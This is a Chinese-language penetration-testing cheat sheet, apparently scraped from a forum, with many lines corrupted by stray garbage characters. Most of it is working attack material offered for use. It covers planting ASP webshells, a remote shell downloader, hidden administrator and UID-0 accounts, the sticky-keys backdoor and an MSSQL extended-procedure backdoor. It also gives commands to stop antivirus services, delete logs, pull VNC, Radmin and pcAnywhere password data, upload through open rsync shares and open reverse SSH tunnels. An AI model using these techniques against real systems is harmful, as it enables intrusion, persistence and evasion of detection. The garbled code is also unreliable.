渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
$ p! \# R4 K0 E" a3 ^4 n6 ~If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
; r1 j% _; f; V" A  d; }        

# d* I$ Z( ^! D) G6 F$ nMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
* B+ I/ Q* \6 }% H0 r7 _
Usage:Cscript vWeb.vbs",4096,"Lilo"
/ Q6 @0 f9 Y) h+ l0 f% a        WScript.Quit
End If
5 }( _: W% n" K$ RSet ObjService=GetObject
" ?( u% Z/ Q& U# B7 V
! c/ h1 j1 b- n! e* `  }" M! ~("IIS://LocalHost/W3SVC")
% G8 [. Z/ t, k! ?For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

$ b% `3 M8 U/ s9 m0 yThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

0 D0 ~9 z' z7 v) f4 N+ D       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

) f$ [1 t* ?; w/ S1 F, h* \<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

% f  Y0 B" [8 |  I6 O  \# O5 sOService.ServerComment & "]"
2 K( H: C. W3 r- ~. u$ v                For Each Binds In OService.ServerBindings
. c. C5 F4 G+ i1 p9 C) c     
# K0 o1 U! S1 V/ `
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
1 I& K5 S- [: ^                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
+ |7 I, [! _: G                Next
, F( V0 ^" p" R9 f! W$ H) ^% c      
" R& H1 z3 J: v- O
" p* o3 U2 Q- C, z% Y6 r  @  h         WScript.Echo "ath            : " & VDirObj.Path
        End If
5 ?# y  e- h: X3 d0 K) \Next
8 Q5 C1 P( @7 F# d/ \! m) V% |复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
- b  _% O9 x/ Q' L8 @4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
  ~& S/ Z; T6 E, E( ]/ L2 f* I  t. h—————————————————————
WordPress的平台，爆绝对路径的方法是：
8 w& g& b" ?$ m9 Q! q! ^url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
. ^. Y( N! n6 L7 p9 V* DphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
" T3 i" D! g# V$ Rphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
7 F8 g" `: [0 Q, q6 h, P$ W网站可能目录(注：一般是虚拟主机类）
. ^8 A1 R2 M. Y; v1 Cdata/htdocs.网站/网站/
————————————————————
# r% j0 U/ @) x- uCMD下操作VPN相关
& C$ s1 j% C& Z/ {8 ^: U) \netsh ras set user administrator permit #允许administrator拨入该VPN
/ [) P3 d* d* P# h  Snetsh ras set user administrator deny #禁止administrator拨入该VPN
4 w5 ?% b' u" p9 dnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
" s/ \& `( c3 S# g* dnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
" [! c9 z7 I% w, ~, q9 L命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
- W; H' r/ _: G; ?) SEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
' W+ Y# |( t) s1 Ez=o.create("test") ;
z.changePassword("123456","")
* O1 T+ J& ?/ C% p7 f) r0 Mz.setting("AccountType")=3;
% E1 X% e0 Z+ R+ Z5 N" a! D* ]% `; n
vbs:
& i' u# f2 M. r, Q3 K0 F" f. sSet   o=CreateObject( "Shell.Users" )
/ I2 `+ c: N7 Y. WSet z=o.create("test")
z.changePassword "123456",""
! U2 @* ?  D1 b: o% bz.setting("AccountType")=3
——————————————————
" G, U8 o, N9 }' I+ pcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
0 C5 J9 s7 P$ {( d) k
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
* z6 u! \6 m2 v7 \6 s* c( d6 n; G3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
8 ~9 z% E0 m& M' H( w' o3 N- x% i3 ?b、内网环境（LCX）
$ C/ R; b0 B* o  ^4 [  \c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
* N# X4 C5 {, x# j2 ]2 D6 y2003 运行mstsc /console   
+ x7 @+ u- W) k6 Y$ ~+ F' D
/ a3 M* T, A5 z$ B5 _% Y! v, ]杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
1 b7 B. h  s- k+ R6 G' |net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
/ D3 E: j& M- a% a4 ~. u% n  U————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
" e" S! {6 q: Z1 w; Z——————————————————————
# d  R; u, c* j隐藏账号添加：
  m3 D+ w0 Z# G' ]1 `1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
$ ^0 d# z- \! X$ Y7 K# f2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
  e5 m5 ]; J9 F9 `8 ]! |7 @2 ]4、利用Hacker Defender把相关用户注册表隐藏
8 j. i  G* k/ ~——————————————————————
MSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
5 s  I7 l& Y: X' SGRANT exec On xp_helpsystem TO public;
———————————————————————
- ]$ T+ J! E) N1 x4 z日志处理
% t/ C1 g( A+ B* O9 [* B/ F% HC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
4 @$ Z/ c$ g8 p0 {/ P不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
, N/ D: t2 h7 a! n: [+ a  B用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
; P( K$ O$ b3 n/ f( d
4 z. s6 Q0 t8 j$ y3 l( m# m2 r9 qMSSQL查询分析器连接记录清除：
) t7 @# g' r# }! T: y0 fMSSQL 2000位于注册表如下：
& m$ U7 Z& y" Y3 g" k# fHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
& N1 M! h& {+ \' o0 r找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
* N+ N+ R3 K0 O7 O+ x; W
Server\90\Tools\Shell\mru.dat
' V* S) m. [8 W1 ]! e1 ?' ~5 }, Z—————————————————————————
% B7 H' T! y3 N1 r) r+ j% q4 z防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
! @. M8 E/ j+ T+ v, _+ E3 l! pDim Ads, Retrieval, GetRemoteData
On Error Resume Next
' t+ Z. p2 L2 s* m" O( t, bSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
. W$ O) o; f9 FWith Retrieval
+ ^. d% ~: F2 y9 i0 B.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
3 n- q: U4 v: G& MSet Ads = Server.CreateObject("Adodb.Stream")
6 V5 A- \* l, {" cWith Ads
.Type = 1
# ?, q/ D& p( Y# G6 X- Z4 |.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
" G* j/ d! H6 D.Cancel()
. e# `8 D- k. T+ C3 C0 x; J1 }: W.Close()
End With
, M3 E0 B4 `8 i& c! J/ T4 ASet Ads=nothing
1 `/ S3 [) x4 D: IEnd Sub
5 l5 e5 i4 K. _. @8 z4 o
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
' o, y$ Q1 g9 U7 i) t%>
- Q- R! F, U& X1 p. H" @
* b; R4 p1 e- eVNC提权方法:
1 ]8 j- l( N% j1 Z利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
& [$ ?, ], L! h' w+ fregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
9 U, c0 V2 a+ a8 B# N' C) {/ yregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
* _  K* X) U4 ~2 @& @7 yRadmin 默认端口是4899，
' _- c& @9 o; {) j7 j; ^! D3 OHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
$ }  j. D- }: P/ SUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
$ U( `$ C) a. |( S; e& T搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
  L3 r" ^) n* z0 C, Y' g8 u( b——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
& i$ `% l9 H, l7i24的web目录也是可写，权限为administrator。
/ |% ^0 K: w# N+ T: i1 j0 n; _
1433 SA点构建注入点。
' X" a, `! z7 ]<%
) e3 ^8 w) e5 P4 U" CstrSQLServerName = "服务器ip"
  b: y7 I% ~+ ~' qstrSQLDBUserName = "数据库帐号"
5 h7 _5 C: i- Q( ^( P% g7 l9 _5 }strSQLDBPassword = "数据库密码"
) ~9 D4 R8 K2 z- S# FstrSQLDBName = "数据库名称"
, k& H7 v1 B0 Z  P7 [2 ]2 `Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

: V1 p  }1 {' z) v  ~";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
9 E/ A. l5 c- @: r
strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
5 Q. U& K8 E5 _strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
8 }( ~7 T) @# r& f  e# S2 i******liunx 相关******
2 C+ T4 I$ A" b) T& ^0 a/ R4 p一.ldap渗透技巧
7 q. `: P- `% b3 b  `/ A; b9 ~1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
  K( u+ B! A1 Mbase ou=People,dc=unix-center,dc=net
8 i7 _* _. {/ Q' r, ^找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

- o( F/ V% C0 |; E"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
4 k) c, ^5 J& G! K9 C# @/ b( F有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
; \4 ?% }+ I+ O" U# B* @( A- O. y# E& S
; L! R2 x. ?1 E2 S# V3 ~  d4 ^"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
5 E. M9 ]  ~1 @2 H2 c5 fldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
! ~# k( n& M# E6 L1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

& N4 M% P# d% s! s2.less /etc/ldap.conf
; G$ j) N' z6 n; f* ?base ou=People,dc=unix-center,dc=net
2 X5 v6 }3 [4 r9 X) ^找到ou,dc,dc设置

3.查找管理员信息
匿名方式
8 q# G% O) ^3 z$ a0 a) g% N- ]ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
1 S1 p, ]4 [+ k1 M9 U4 I有密码形式
) X$ g6 J" h1 a5 ]' r/ z% \ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
: R, k, r) S( F9 _! @8 [: x
7 ]- A, v$ c5 a( v8 Q"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
( c* J) l& g* C0 C

  p1 \. u" a# E6 W4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

* z! q9 b- |8 n4 p9 `' q3 t% I$ E渗透实战:
1 X, E6 P+ O! z9 D3 A) F1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
; w+ x( G" n5 W% I4 z2 Lversion: 1
' r: I$ I& B! W* |) _dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
7 H! q( d7 V. S' b) L7 e
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
) p; Y7 }% \, d7 nobjectClass: person
objectClass: top
9 ?+ P) ~5 w2 u6 wsn: manager
% Z8 G' t3 t9 k( P& e' }cn: manager

7 S* s/ ]  j2 ~+ Ldn: uid=superadmin,dc=ruc,dc=edu,dc=cn
: w! F( O! d+ [* E; }) ~uid: superadmin
) q. _3 a' U  g9 WobjectClass: inetOrgPerson
objectClass: organizationalPerson
0 t+ n5 G5 M/ Q2 P4 y) s$ {# lobjectClass: person
objectClass: top
sn: superadmin
cn: superadmin
. A- }7 {9 q- Y! v" T0 H+ S9 j9 h8 W
dn: uid=admin,dc=ruc,dc=edu,dc=cn
; `4 u0 W; Q3 Juid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
, a' _7 d3 M* n% V8 u. cobjectClass: person
. c( f$ z9 k) w1 D; T; b+ m" E! hobjectClass: top
0 H5 I( c+ n; }sn: admin
2 |, b: A" i! bcn: admin
, k7 a4 y6 M6 q/ s5 S
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
8 P3 p9 M6 Y. H% Y4 lobjectClass: organizationalPerson
+ |& i- Q$ J1 q' H8 a$ lobjectClass: inetOrgPerson
# t- }. ?1 w9 c/ T/ a) |sn: dcp_anonymous
cn: dcp_anonymous

/ c/ X1 k/ U1 L: Q' k. o: L2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

& r' T3 u0 r; R' f( O$ Amore
version: 1
/ d# G0 g7 B' m! C! Q1 n5 wdn: dc=ruc,dc=edu,dc=cn
; |. f/ _( q2 ^( t7 cdc: ruc
5 z- _. c; v; G- }- ^% {objectClass: domain
! u* w; _  a2 G. q" p
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
. X# e& D  v, F- D5 qsupportedExtension: 2.16.840.1.113730.3.5.7
. _* u; J4 e. E8 ~& G- O& j5 K8 }( F# l+ WsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
0 r% a1 d2 K5 n0 J  ?0 g( I5 c& bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
# ]5 m! _& u. \* n, H; H, A- W" m. KsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
$ ?6 U& s+ u& C( s5 N- rsupportedExtension: 2.16.840.1.113730.3.5.6
3 T7 s5 l! y+ {& u; C( j, {4 d8 E+ UsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
2 ?- v" _- S9 M6 P  k( [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
6 d& P3 p  ^. ?3 p: T% ~; c3 L6 A5 VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
" K( m! l) ?) K$ IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
9 {- o% [$ r( j2 X! x& \3 YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
* p2 Q3 q  `/ l- f0 w" s6 r6 j1 D1 _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
2 f; m/ K5 m" Y2 QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
: \) P! V- T' asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
) s7 ~: T) @% |) CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
+ K5 u5 s" I9 I+ @6 H, K) vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
2 x, R$ t$ H& ~0 }6 \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
; ^* R% z0 z# }% R% S( }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
0 |6 ^3 m7 X* p& ^2 N4 hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
3 c( J3 q. P4 J7 N; w( }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
8 B6 s- \: s, c7 A9 `9 q1 jsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
+ \3 v& E' {, C" [) nsupportedControl: 2.16.840.1.113730.3.4.15
* V9 V! }+ i7 ?8 X) n3 D9 }+ ^2 KsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
1 ^6 b# b, ?$ B# I: V' B" A6 [6 isupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
' d" u' w& S1 t, X7 Z" C8 qsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
5 l$ ]. G; B9 }supportedControl: 2.16.840.1.113730.3.4.14
. z, f% X) a& m" \* tsupportedControl: 1.3.6.1.4.1.1466.29539.12
7 w6 |# q/ X4 e* k& G! P' r' @9 AsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
( e8 `  a9 E& T  y- }4 UsupportedControl: 2.16.840.1.113730.3.4.13
7 `. e! D8 i8 E3 L" osupportedSASLMechanisms: EXTERNAL
5 r! [% L8 _. r1 R. C2 msupportedSASLMechanisms: DIGEST-MD5
7 a8 w/ B" Y2 q4 I0 p  D# MsupportedLDAPVersion: 2
: @- h0 e: ]; B6 ^supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
8 t& Y: ^, x  k. N* H' [4 @supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
1 H3 S8 v7 w/ NsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
, c: h) h+ M; O, a' T' CsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
5 `, @; b, ~" a  G9 AsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
$ i. w/ w" z6 _/ T9 psupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
. H9 E- S8 R  [8 v* P/ RsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
. q; s! d" C# HsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
! L$ o/ P8 k  H7 X$ M6 h8 r+ QsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
, Y/ ?& h4 a, f, w# X/ w$ {supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
# V7 ?. Y- d' M! S9 }6 qsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
6 Y& T5 r/ j! W: d! b9 IsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
3 o% ^0 C. ^: |- D- I2 esupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
$ ^) Q: g; e) a6 ^5 y5 qsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
' t4 V* x6 X5 U( w3 I$ usupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
2 ~' `, J9 F! k+ O* t/ j* ~' XsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
6 t  k7 j3 H% J  Z" W! ysupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
0 G( Y& E& u; K! y% n: AsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
0 }# U9 }# L( R0 d: [; ssupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
/ Q7 r: u9 q3 ~- fsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
8 u3 P* V, o# l, T. K. l2 EsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
  I) `2 s& j6 a$ P" y7 S- b6 hsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
! R) O/ [, ]; C5 s% Z2. NFS渗透技巧
showmount -e ip
3 ^6 ^* q/ I; V' L) F列举IP
——————
3.rsync渗透技巧
4 I. H! h. h% R$ r1.查看rsync服务器上的列表
rsync 210.51.X.X::
: ^; |' G1 s8 q: O1 m% O5 Gfinance
) e& E2 a$ w+ w, Qimg_finance
9 Q4 Y& D. f: W' N5 kauto
, K3 y; ]* a9 q# j0 |3 |img_auto
html_cms
img_cms
8 c) `! t* e- Q* m( bent_cms
0 h+ j5 J0 Y7 U/ {6 g& K4 pent_img
" ~  Y3 S: e1 P# X+ W) Z/ Y5 Wceshi
5 J9 ^5 q4 R, j: c5 l5 ures_img
0 ~& Y3 ~; U1 y2 m$ kres_img_c2
chip
chip_c2
ent_icms
  K* F! }. u8 s6 n3 R4 G0 X, P2 H5 Ggames
gamesimg
% n0 P0 C# x6 {% Tmedia
mediaimg
fashion
4 \0 [2 Q, s* L- d4 Bres-fashion
res-fo
& C1 o. q6 Z2 y! Y3 p8 `: ?taobao-home
) N9 C4 |/ V4 Yres-taobao-home
house
res-house
* X+ j" M9 i* h0 Ares-home
res-edu
4 \- B6 g! d/ fres-ent
& G/ e9 m& f7 a( Ores-labs
res-news
, I/ n( b2 ^& I& n' }5 n# n0 hres-phtv
res-media
home
6 P; L/ P0 x8 P2 ]$ t7 H& @edu
. R' C9 k) u- znews
( B# j) E5 K, n. _' s2 Vres-book
* {6 }( o' n' u  Q: i! v
看相应的下级目录(注意一定要在目录后面添加上/)
1 j$ X' v/ G" w. m" K
( ]9 c8 m- g7 l/ e: b, b
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
4 E4 L. K" b% K4 ^" f: crsync 210.51.X.X::edu/

# z) H8 X- U- x2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
* D& v) h0 R: B3 o& Rhttp://app.finance.xxx.com/warn/nothack.txt
$ [5 |8 i3 e0 [2 L
四.squid渗透技巧
nc -vv baidu.com 80
$ ^2 U1 `; e# z  U) eGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
$ M. M0 ]5 B! [% |ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
! x1 ^7 M. Z8 O1 q( `4 Hindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
5 v  z+ _- r0 L! H# i, o/ h, f
7 |" f4 l! x% x# ~9 A* A15&catid=32:languages&Itemid=47

重新设置密码
index.php?option=com_user&view=reset&layout=confirm

, t& T6 X. l" F) H* f4 X% W七: Linux添加UID为0的root用户
9 C: Z( k" k% r$ }' Y% s! Wuseradd -o -u 0 nothack

# ~/ v. k& J, E8 u1 W/ S2 @1 w八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
( K$ w3 g% x9 e8 h# ?3 ]* [argp@julius ~]$ sysctl vfs.usermount
) K9 O% X: G4 }* F* vfs.usermount: 1
* [argp@julius ~]$ id
  e; N& ~" u8 w. m* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
% ~3 f: I4 v8 O/ P# C# T+ d' y7 R* [argp@julius ~]$ ./nfs_mount_ex
% `2 b- X" F1 B*
calling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
